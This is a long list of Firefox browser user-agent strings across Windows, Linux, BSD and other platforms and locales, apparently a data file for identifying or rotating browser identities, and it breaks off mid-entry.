Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0(Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre Mozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0 Mozilla/5.0 (X11; Arch Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0 Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; FreeBSD i686) Firefox/3.6 Mozilla/5.0 (X11; FreeBSD x86_64; rv:2.0) Gecko/20100101 Firefox/3.6.12 Mozilla/5.0 (X11; Linux AMD64) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0) Gecko/20100101 Firefox/3.6.17 Firefox/3.6.17 Mozilla/5.0 (X11; Linux i686; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110518 Firefox/4.0.1 Mozilla/5.0 (X11; Linux i686; rv:2.0b10) Gecko/20100101 Firefox/4.0b10 Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20100101 Firefox/4.0b12pre Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (X11; Linux ppc; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110506 Firefox/4.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 Mozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (X11; Mageia; Linux x86_64; rv:10.0.9) Gecko/20100101 Firefox/10.0.9 Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0 Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 Mozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0 Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.0.8) Gecko/20061116 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Firefox/1.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20041114 Firefox/1.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20050420 Firefox/1.0.3 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20060303 Firefox/1.0.3 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.2) Gecko/20060414 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.8) Gecko/20061210 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090225 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090413 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL) Gecko Firefox Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux AMD64; en-US; rv:1.9.2.3) Gecko/20100403 Ubuntu/10.10 (maverick) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian) Mozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.6.11 Mozilla/5.0 (X11; U; Linux; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux Gentoo i686; pl; rv:1.8.0.8) Gecko/20061219 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux Gentoo; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.10) Gecko/20070313 Fedora/1.5.0.10-5.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.6) Gecko/20050325 Firefox/1.0.2 (Debian package 1.0.2-1) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050306 Firefox/1.0.1 (Debian package 1.0.1-2) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050322 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-3.el5.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.1 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20060911 SUSE/2.0.0.5-1.2 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110615 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.21) Gecko/20110830 Ubuntu/10.10 (maverick) Firefox/3.6.21 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.13) Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.12) Gecko/20070718 Fedora/1.5.0.12-4.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-2.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2pre) Gecko/20061023 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:2.0) Gecko/20110404 Fedora/16-dev Firefox/4.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040225 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050715 Firefox/1.0.6 SUSE/1.0.6-16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050719 Red Hat/1.0.6-1.4.1 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc3 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc4.k12ltsp.4.4.0 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050815 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050911 Firefox/1.0.6 (Debian package 1.0.6-5) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050918 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050920 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.5.0.2 Mandriva/1.0.6-15mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051106 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051111 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060410 Firefox/1.0.8 Mandriva/1.0.6-16.5.20060mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060927 Firefox/1.0.4 (Debian package 1.0.4-2sarge12) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20061113 Firefox/1.0.4 (Debian package 1.0.4-2sarge13) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070530 Firefox/1.0.4 (Debian package 1.0.4-2sarge17) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060413 Red Hat/1.0.8-1.4.1 Firefox/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; 